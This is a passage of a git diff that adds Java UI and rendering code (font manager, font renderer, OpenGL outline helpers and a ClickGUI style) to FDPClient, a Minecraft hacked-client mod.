SimpleFontManager(); + } + + private static final String FONT_DIRECTORY = "fdpclient/font/"; + private final FontRegistry fonts = new FontRegistry(); + + @Override + public FontFamily fontFamily(FontType fontType) { + return fonts.fontFamily(fontType); + } + + private static final class FontRegistry extends EnumMap<FontType, FontFamily> { + + private FontRegistry() { super(FontType.class); } + + private FontFamily fontFamily(FontType fontType) { + return computeIfAbsent(fontType, ignored -> { + try { + return SimpleFontFamily.create(fontType, readFontFromResources(fontType)); + } catch(IOException e) { + throw SneakyThrowing.sneakyThrow(e); + } + }); + } + + private static Font readFontFromResources(FontType fontType) throws IOException { + IResourceManager resourceManager = Minecraft.getMinecraft().getResourceManager(); + ResourceLocation location = new ResourceLocation(FONT_DIRECTORY + fontType.fileName()); + IResource resource; + + try { + resource = resourceManager.getResource(location); + } catch(IOException e) { + throw new IOException("Couldn't find resource: " + location, e); + } + + try(InputStream resourceInputStream = resource.getInputStream()) { + return readFont(resourceInputStream); + } + } + + private static Font readFont(InputStream resource) { + Font font; + + try { + font = Font.createFont(Font.TRUETYPE_FONT, resource); + } catch(FontFormatException e) { + throw new RuntimeException("Resource does not contain the required font tables for the specified format", e); + } catch(IOException e) { + throw new RuntimeException("Couldn't completely read font resource", e); + } + + return font; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontRenderer.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontRenderer.java new file mode 100644 index 0000000..1ec5a2a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontRenderer.java @@ -0,0 +1,449 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontRenderer; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.texture.DynamicTexture; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.awt.geom.Rectangle2D; +import java.awt.image.BufferedImage; + +import static org.lwjgl.opengl.GL11.GL_TEXTURE_2D; + +/** + * @author Zywl + */ +@SuppressWarnings("MagicNumber") +final class SimpleFontRenderer implements FontRenderer { + + private static final int[] COLOR_CODES = setupMinecraftColorCodes(); + private static final String COLORS = "0123456789abcdefklmnor"; + private static final char COLOR_PREFIX = '\u00a7'; + + private static final short CHARS = 256; + private static final float IMG_SIZE = 512; + private static final float CHAR_OFFSET = 0f; + + private final CharData[] charData = new CharData[CHARS]; + private final CharData[] boldChars = new CharData[CHARS]; + private final CharData[] italicChars = new CharData[CHARS]; + private final CharData[] boldItalicChars = new CharData[CHARS]; + + private final Font awtFont; + private final boolean antiAlias; + private final boolean fractionalMetrics; + + private DynamicTexture texturePlain; + private DynamicTexture textureBold; + private DynamicTexture textureItalic; + private DynamicTexture textureItalicBold; + private int fontHeight = -1; + + //region instantiating + private SimpleFontRenderer(Font awtFont, boolean antiAlias, boolean fractionalMetrics) { + this.awtFont = awtFont; + this.antiAlias = antiAlias; + this.fractionalMetrics = fractionalMetrics; + setupBoldItalicFonts(); + } + + static FontRenderer create(Font font, boolean antiAlias) { + return new SimpleFontRenderer(font, antiAlias, true); + } + + public static FontRenderer create(Font font) { + return create(font, true); + } + + private DynamicTexture setupTexture(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) { + return new DynamicTexture(generateFontImage(font, antiAlias, fractionalMetrics, chars)); + } + + private BufferedImage generateFontImage(Font font, boolean antiAlias, boolean fractionalMetrics, CharData[] chars) { + final int imgSize = (int) IMG_SIZE; + BufferedImage bufferedImage = new BufferedImage(imgSize, imgSize, BufferedImage.TYPE_INT_ARGB); + Graphics2D graphics = (Graphics2D) bufferedImage.getGraphics(); + + graphics.setFont(font); + graphics.setColor(new Color(255, 255, 255, 0)); + graphics.fillRect(0, 0, imgSize, imgSize); + graphics.setColor(Color.WHITE); + + graphics.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON); + graphics.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); + graphics.setRenderingHint(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY); + + if (this.fractionalMetrics) { + graphics.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS, RenderingHints.VALUE_FRACTIONALMETRICS_ON); + } else { + graphics.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS, RenderingHints.VALUE_FRACTIONALMETRICS_OFF); + } + + FontMetrics fontMetrics = graphics.getFontMetrics(); + int charHeight = 0, positionX = 0, positionY = 1; + + for (int i = 0; i < chars.length; i++) { + char ch = (char) i; + CharData charData = new CharData(); + Rectangle2D dimensions = fontMetrics.getStringBounds(String.valueOf(ch), graphics); + + charData.width = dimensions.getBounds().width + 8; + charData.height = dimensions.getBounds().height; + + if (positionX + charData.width >= imgSize) { + positionX = 0; + positionY += charHeight; + charHeight = 0; + } + + if (charData.height > charHeight) { + charHeight = charData.height; + } + + charData.storedX = positionX; + charData.storedY = positionY; + + if (charData.height > fontHeight) { + this.fontHeight = charData.height; + } + + chars[i] = charData; + + graphics.drawString(String.valueOf(ch), positionX + 2, positionY + fontMetrics.getAscent()); + positionX += charData.width; + } + + return bufferedImage; + } + + private void setupBoldItalicFonts() { + this.texturePlain = setupTexture(awtFont, antiAlias, fractionalMetrics, charData); + this.textureBold = setupTexture(awtFont.deriveFont(Font.BOLD), antiAlias, fractionalMetrics, boldChars); + this.textureItalic = setupTexture(awtFont.deriveFont(Font.ITALIC), antiAlias, fractionalMetrics, italicChars); + this.textureItalicBold = setupTexture(awtFont.deriveFont(Font.BOLD | Font.ITALIC), antiAlias, fractionalMetrics, boldItalicChars); + } + //endregion + + @Override + public float drawString(CharSequence text, float x, float y, int color, boolean dropShadow) { + if (dropShadow) { + float shadowWidth = drawStringInternal(text, x + 0.5, y + 0.5, color, true); + return Math.max(shadowWidth, drawStringInternal(text, x, y, color, false)); + } else { + return drawStringInternal(text, x, y, color, false); + } + } + @SuppressWarnings("OverlyComplexMethod") + private float drawStringInternal(CharSequence text, double x, double y, int color, boolean shadow) { + x -= 1; + + if (text == null) return 0.0F; + if (color == 0x20FFFFFF) color = 0xFFFFFF; + if ((color & 0xFC000000) == 0) color |= 0xFF000000; + //endregion + + if (shadow) { + color = (color & 0xFCFCFC) >> 2 | color & 0xFF000000; + } + + CharData[] charData = this.charData; + float alpha = (color >> 24 & 0xFF) / 255.0F; + final boolean randomCase = false; + + x *= 2.0D; + y = (y - 3.0D) * 2.0D; + + //region rendering + GL11.glPushMatrix(); + GlStateManager.scale(0.5D, 0.5D, 0.5D); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(770, 771); + GL11.glColor4f((color >> 16 & 0xFF) / 255.0F, (color >> 8 & 0xFF) / 255.0F, (color & 0xFF) / 255.0F, alpha); + GlStateManager.color((color >> 16 & 0xFF) / 255.0F, (color >> 8 & 0xFF) / 255.0F, (color & 0xFF) / 255.0F, alpha); + GlStateManager.enableTexture2D(); + GlStateManager.bindTexture(texturePlain.getGlTextureId()); + + GL11.glBindTexture(GL_TEXTURE_2D, texturePlain.getGlTextureId()); + GL11.glTexParameterf(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_LINEAR); + + boolean underline = false; + boolean strikethrough = false; + boolean italic = false; + boolean bold = false; + + for (int i = 0, size = text.length(); i < size; i++) { + char character = text.charAt(i); + + if (character == COLOR_PREFIX && i + 1 < size) { + // TODO: Проверить, будет ли рисовать § без отдельного символа + int colorIndex = COLORS.indexOf(text.charAt(i + 1)); + + if (colorIndex < 16) { + bold = false; + italic = false; + underline = false; + strikethrough = false; + GlStateManager.bindTexture(texturePlain.getGlTextureId()); + charData = this.charData; + + if (colorIndex < 0) colorIndex = 15; + if (shadow) colorIndex += 16; + + int colorCode = COLOR_CODES[colorIndex]; + GlStateManager.color( + (colorCode >> 16 & 0xFF) / 255.0F, + (colorCode >> 8 & 0xFF) / 255.0F, + (colorCode & 0xFF) / 255.0F, + 255); + } else if (colorIndex == 17) { + bold = true; + + if (italic) { + GlStateManager.bindTexture(textureItalicBold.getGlTextureId()); + charData = boldItalicChars; + } else { + GlStateManager.bindTexture(textureBold.getGlTextureId()); + charData = boldChars; + } + } else if (colorIndex == 18) { + strikethrough = true; + } else if (colorIndex == 19) { + underline = true; + } else if (colorIndex == 20) { + italic = true; + + if (bold) { + GlStateManager.bindTexture(textureItalicBold.getGlTextureId()); + charData = boldItalicChars; + } else { + GlStateManager.bindTexture(textureItalic.getGlTextureId()); + charData = italicChars; + } + } else if (colorIndex == 21) { + bold = false; + italic = false; + underline = false; + strikethrough = false; + + GlStateManager.color( + (color >> 16 & 0xFF) / 255.0F, + (color >> 8 & 0xFF) / 255.0F, + (color & 0xFF) / 255.0F, + 255); + GlStateManager.bindTexture(texturePlain.getGlTextureId()); + + charData = this.charData; + } + + //noinspection AssignmentToForLoopParameter + i++; + } else if (character < charData.length) { + GL11.glBegin(GL11.GL_TRIANGLES); + drawChar(charData, character, (float) x, (float) y); + GL11.glEnd(); + + if (strikethrough) { + drawLine(x, + y + charData[character].height / 2.0F, + x + charData[character].width - 8.0D, + y + charData[character].height / 2.0F + ); + } + + if (underline) { + drawLine(x, + y + charData[character].height - 2.0D, + x + charData[character].width - 8.0D, + y + charData[character].height - 2.0D + ); + } + + x += charData[character].width - (character == ' ' ? 8 : 9); + } + } + + GL11.glTexParameterf(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_NEAREST); + GL11.glHint(GL11.GL_POLYGON_SMOOTH_HINT, GL11.GL_DONT_CARE); + GL11.glPopMatrix(); + //endregion + + return (float) x / 2.0F; + } + + + + @Override + public String trimStringToWidth(CharSequence text, int width, boolean reverse) { + StringBuilder builder = new StringBuilder(); + + float f = 0.0F; + int i = reverse ? text.length() - 1 : 0; + int j = reverse ? -1 : 1; + boolean flag = false; + boolean flag1 = false; + + for (int k = i; k >= 0 && k < text.length() && f < width; k += j) { + char c0 = text.charAt(k); + float f1 = stringWidth(String.valueOf(c0)); + + if (flag) { + flag = false; + + if (c0 != 'l' && c0 != 'L') { + if (c0 == 'r' || c0 == 'R') { + flag1 = false; + } + } else { + flag1 = true; + } + } else if (f1 < 0.0F) { + flag = true; + } else { + f += f1; + if (flag1) ++f; + } + + if (f > width) break; + + if (reverse) { + builder.insert(0, c0); + } else { + builder.append(c0); + } + } + + return builder.toString(); + } + + @Override + public int stringWidth(CharSequence text) { + if (text == null) return 0; + int width = 0; + CharData[] currentData = charData; + boolean bold = false; + boolean italic = false; + + for (int i = 0, size = text.length(); i < size; i++) { + char character = text.charAt(i); + + if (character == COLOR_PREFIX && i + 1 < size) { + int colorIndex = COLORS.indexOf(text.charAt(i + 1)); + + if (colorIndex < 16) { // color + bold = false; + italic = false; + } else if (colorIndex == 17) { // bold + bold = true; + if (italic) currentData = boldItalicChars; + else currentData = boldChars; + } else if (colorIndex == 20) { // italic + italic = true; + if (bold) currentData = boldItalicChars; + else currentData = italicChars; + } else if (colorIndex == 21) { // reset + bold = false; + italic = false; + currentData = charData; + } + + //noinspection AssignmentToForLoopParameter + i++; + } else if (character < currentData.length) { + width += currentData[character].width - (character == ' ' ? 8 : 9); + } + } + + return width / 2; + } + + public CharData[] getCharData() { + return charData; + } + + //region shit + private static int[] setupMinecraftColorCodes() { + int[] colorCodes = new int[32]; + + for (int i = 0; i < 32; i++) { + int noClue = (i >> 3 & 0x1) * 85; + int red = (i >> 2 & 0x1) * 170 + noClue; + int green = (i >> 1 & 0x1) * 170 + noClue; + int blue = (i & 0x1) * 170 + noClue; + + if (i == 6) { + red += 85; + } + + if (i >= 16) { + red >>= 2; // divide by 4 + green >>= 2; + blue >>= 2; + } + + colorCodes[i] = (red & 0xFF) << 16 | (green & 0xFF) << 8 | blue & 0xFF; + } + + return colorCodes; + } + + private static class CharData { + + private int width; + private int height; + private int storedX; + private int storedY; + + private CharData() { + } + } + + //endregion + //region rendering + private static void drawChar(CharData[] chars, char c, float x, float y) { + drawQuad(x, y, chars[c].width, chars[c].height, chars[c].storedX, chars[c].storedY, chars[c].width, chars[c].height); + } + + private static void drawQuad(float x, float y, float width, float height, float srcX, float srcY, float srcWidth, float srcHeight) { + float renderSRCX = srcX / IMG_SIZE; + float renderSRCY = srcY / IMG_SIZE; + float renderSRCWidth = srcWidth / IMG_SIZE; + float renderSRCHeight = srcHeight / IMG_SIZE; + + + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY); + GL11.glVertex2d(x + width, y); + GL11.glTexCoord2f(renderSRCX, renderSRCY); + GL11.glVertex2d(x, y); + GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x, y + height); + GL11.glTexCoord2f(renderSRCX, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x, y + height); + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY + renderSRCHeight); + GL11.glVertex2d(x + width, y + height); + GL11.glTexCoord2f(renderSRCX + renderSRCWidth, renderSRCY); + GL11.glVertex2d(x + width, y); + } + + private static void drawLine(double x, double y, double x1, double y1) { + GL11.glDisable(GL_TEXTURE_2D); + GL11.glLineWidth((float) 1.0); + GL11.glBegin(1); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x1, y1); + GL11.glEnd(); + GL11.glEnable(GL_TEXTURE_2D); + } + + @Override + public int getHeight() { + return (fontHeight - 8) / 2; + } + + //endregion +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/OutlineUtils.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/OutlineUtils.java new file mode 100644 index 0000000..c37812b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/OutlineUtils.java @@ -0,0 +1,124 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.logo; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.OpenGlHelper; +import net.minecraft.client.shader.Framebuffer; +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; +import org.lwjgl.opengl.EXTPackedDepthStencil; + +import java.awt.*; + +import static org.lwjgl.opengl.EXTFramebufferObject.*; +import static org.lwjgl.opengl.GL11.*; + +@SideOnly(Side.CLIENT) +public class OutlineUtils { + + public static void renderOne(final float lineWidth) { + checkSetupFBO(); + glPushAttrib(GL_ALL_ATTRIB_BITS); + glDisable(GL_ALPHA_TEST); + glDisable(GL_TEXTURE_2D); + glDisable(GL_LIGHTING); + glEnable(GL_BLEND); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glLineWidth(lineWidth); + glEnable(GL_LINE_SMOOTH); + glEnable(GL_STENCIL_TEST); + glClear(GL_STENCIL_BUFFER_BIT); + glClearStencil(0xF); + glStencilFunc(GL_NEVER, 1, 0xF); + glStencilOp(GL_REPLACE, GL_REPLACE, GL_REPLACE); + glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); + } + + public static void renderTwo() { + glStencilFunc(GL_NEVER, 0, 0xF); + glStencilOp(GL_REPLACE, GL_REPLACE, GL_REPLACE); + glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); + } + + public static void renderThree() { + glStencilFunc(GL_EQUAL, 1, 0xF); + glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP); + glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); + } + + public static void renderFour(final Color color) { + setColor(color); + glDepthMask(false); + glDisable(GL_DEPTH_TEST); + glEnable(GL_POLYGON_OFFSET_LINE); + glPolygonOffset(1F, -2000000F); + OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, 240F, 240F); + } + + public static void renderFive() { + glPolygonOffset(1F, 2000000F); + glDisable(GL_POLYGON_OFFSET_LINE); + glEnable(GL_DEPTH_TEST); + glDepthMask(true); + glDisable(GL_STENCIL_TEST); + glDisable(GL_LINE_SMOOTH); + glHint(GL_LINE_SMOOTH_HINT, GL_DONT_CARE); + glEnable(GL_BLEND); + glEnable(GL_LIGHTING); + glEnable(GL_TEXTURE_2D); + glEnable(GL_ALPHA_TEST); + glPopAttrib(); + } + + public static void setColor(final Color color) { + glColor4d(color.getRed() / 255F, color.getGreen() / 255F, color.getBlue() / 255F, color.getAlpha() / 255F); + } + + public static void checkSetupFBO() { + // Gets the FBO of Minecraft + final Framebuffer fbo = Minecraft.getMinecraft().getFramebuffer(); + + // Check if FBO isn't null + if(fbo != null) { + // Checks if screen has been resized or new FBO has been created + if(fbo.depthBuffer > -1) { + // Sets up the FBO with depth and stencil extensions (24/8 bit) + setupFBO(fbo); + // Reset the ID to prevent multiple FBO's + fbo.depthBuffer = -1; + } + } + } + + /** + * Sets up the FBO with depth and stencil + * + * @param fbo Framebuffer + */ + private static void setupFBO(final Framebuffer fbo) { + // Deletes old render buffer extensions such as depth + // Args: Render Buffer ID + glDeleteRenderbuffersEXT(fbo.depthBuffer); + // Generates a new render buffer ID for the depth and stencil extension + final int stencil_depth_buffer_ID = glGenRenderbuffersEXT(); + // Binds new render buffer by ID + // Args: Target (GL_RENDERBUFFER_EXT), ID + glBindRenderbufferEXT(GL_RENDERBUFFER_EXT, stencil_depth_buffer_ID); + // Adds the depth and stencil extension + // Args: Target (GL_RENDERBUFFER_EXT), Extension (GL_DEPTH_STENCIL_EXT), + // Width, Height + glRenderbufferStorageEXT(GL_RENDERBUFFER_EXT, EXTPackedDepthStencil.GL_DEPTH_STENCIL_EXT, Minecraft.getMinecraft().displayWidth, Minecraft.getMinecraft().displayHeight); + // Adds the stencil attachment + // Args: Target (GL_FRAMEBUFFER_EXT), Attachment + // (GL_STENCIL_ATTACHMENT_EXT), Target (GL_RENDERBUFFER_EXT), ID + glFramebufferRenderbufferEXT(GL_FRAMEBUFFER_EXT, GL_STENCIL_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, stencil_depth_buffer_ID); + // Adds the depth attachment + // Args: Target (GL_FRAMEBUFFER_EXT), Attachment + // (GL_DEPTH_ATTACHMENT_EXT), Target (GL_RENDERBUFFER_EXT), ID + glFramebufferRenderbufferEXT(GL_FRAMEBUFFER_EXT, GL_DEPTH_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, stencil_depth_buffer_ID); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/info.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/info.java new file mode 100644 index 0000000..aec65e9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/logo/info.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.logo; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontManager; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl.SimpleFontManager; + +public class info { + public static String Name = "FDPCLIENT"; + + public static String version = ""; + public static String username; + private static info INSTANCE; + public static info getInstance() { + if (INSTANCE == null) INSTANCE = new info(); + return INSTANCE; + } + public static final FontManager fontManager = SimpleFontManager.create(); + public static FontManager getFontManager() { + return fontManager; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/util/SneakyThrowing.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/util/SneakyThrowing.java new file mode 100644 index 0000000..2048d10 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/util/SneakyThrowing.java @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.util; + +public final class SneakyThrowing { + + public static RuntimeException sneakyThrow(Throwable throwable) { + return sneakyThrow0(throwable); + } + + @SuppressWarnings("unchecked") + private static <T extends Throwable> T sneakyThrow0(Throwable throwable) throws T { + throw (T) throwable; + } + + private SneakyThrowing() { + throw new UnsupportedOperationException("This is a utility class and cannot be instantiated"); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/Style.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/Style.java new file mode 100644 index 0000000..9c4258c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/Style.java @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; + +public abstract class Style extends MinecraftInstance { + + public abstract void drawPanel(final int mouseX, final int mouseY, final Panel panel); + + public abstract void drawDescription(final int mouseX, final int mouseY, final String text); + + public abstract void drawButtonElement(final int mouseX, final int mouseY, final ButtonElement buttonElement); + + public abstract void drawModuleElement(final int mouseX, final int mouseY, final ModuleElement moduleElement); + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/AstolfoStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/AstolfoStyle.java new file mode 100644 index 0000000..3faeddf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/AstolfoStyle.java @@ -0,0 +1,357 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +@SideOnly(Side.CLIENT) +public class AstolfoStyle extends Style { + private boolean mouseDown; + private boolean rightMouseDown; + + private Color getCategoryColor(String categoryName) { + categoryName=categoryName.toLowerCase(); + if (categoryName.equals("combat")) { + return new Color(231, 75, 58, 175); + } + if (categoryName.equals("player")) { + return new Color(142, 69, 174, 175); + } + if (categoryName.equals("movement")) { + return new Color(46, 205, 111, 175); + } + if (categoryName.equals("visual")) { + return new Color(76, 143, 200, 175); + } + if (categoryName.equals("world")) { + return new Color(233, 215, 100, 175); + } + if (categoryName.equals("other")) { + return new Color(244, 157, 19, 175); + } + return ClickGUIModule.INSTANCE.generateColor(); + } + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawRect((float) panel.getX() - 3, (float) panel.getY() - 1, (float) panel.getX() + panel.getWidth() + 3, + panel.getY() + 22 + panel.getFade(), getCategoryColor(panel.getName()).getRGB()); + RenderUtils.drawRect(panel.getX() - 2, panel.getY(), panel.getX() + panel.getWidth() + 2, panel.getY() + 21 + panel.getFade(), + new Color(17, 17, 17).getRGB()); + RenderUtils.drawRect((float) panel.getX() + 1, (float) panel.getY() + 19, (float) panel.getX() + panel.getWidth() - 1, + panel.getY() + 18 + panel.getFade(), new Color(26, 26, 26).getRGB()); + + GlStateManager.resetColor(); + Fonts.font35.drawString("§l" + LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), panel.getX() + 2, panel.getY() + 6, Integer.MAX_VALUE); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, new Color(26, 26, 26).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Integer.MAX_VALUE); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() + 1, buttonElement.getX() + buttonElement.getWidth() + 1, + buttonElement.getY() + buttonElement.getHeight() + 2, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE + ? ClickGUIModule.INSTANCE.generateColor() : new Color(26, 26, 26), buttonElement.hoverTime).getRGB()); + + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 3, + buttonElement.getY() + 6, Color.WHITE.getRGB()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + Gui.drawRect(moduleElement.getX() + 1, moduleElement.getY() + 1, moduleElement.getX() + moduleElement.getWidth() - 1, + moduleElement.getY() + moduleElement.getHeight() + 2, hoverColor(new Color(26, 26, 26), moduleElement.hoverTime).getRGB()); + Gui.drawRect(moduleElement.getX() + 1, moduleElement.getY() + 1, moduleElement.getX() + + moduleElement.getWidth() - 1, moduleElement.getY() + moduleElement.getHeight() + 2, hoverColor( + new Color(getCategoryColor(moduleElement.getModule().getCategory().name()).getRed(), getCategoryColor(moduleElement.getModule().getCategory().name()).getGreen(), getCategoryColor(moduleElement.getModule().getCategory().name()).getBlue(), moduleElement.slowlyFade), moduleElement.hoverTime).getRGB()); + + final int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 3, + moduleElement.getY() + 7, Integer.MAX_VALUE); + + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if (!moduleValues.isEmpty()) { + Fonts.font35.drawString("+", moduleElement.getX() + moduleElement.getWidth() - 8, + moduleElement.getY() + (moduleElement.getHeight() / 2), new Color(255, 255, 255, 200).getRGB()); + + if (moduleElement.isShowSettings()) { + int yPos = moduleElement.getY() + 4; + + for (final Value value : moduleValues) { + if (!value.getDisplayable()) + continue; + if (value instanceof BoolValue) { + String text = value.getName(); + float textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, new Color(26, 26, 26).getRGB()); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if (Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, + yPos + 4, ((BoolValue) value).get() ? guiColor : Integer.MAX_VALUE); + + yPos += 12; + } else if (value instanceof ListValue) { + ListValue listValue = (ListValue) value; + String text = value.getName(); + float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, new Color(26, 26, 26).getRGB()); + GlStateManager.resetColor(); + 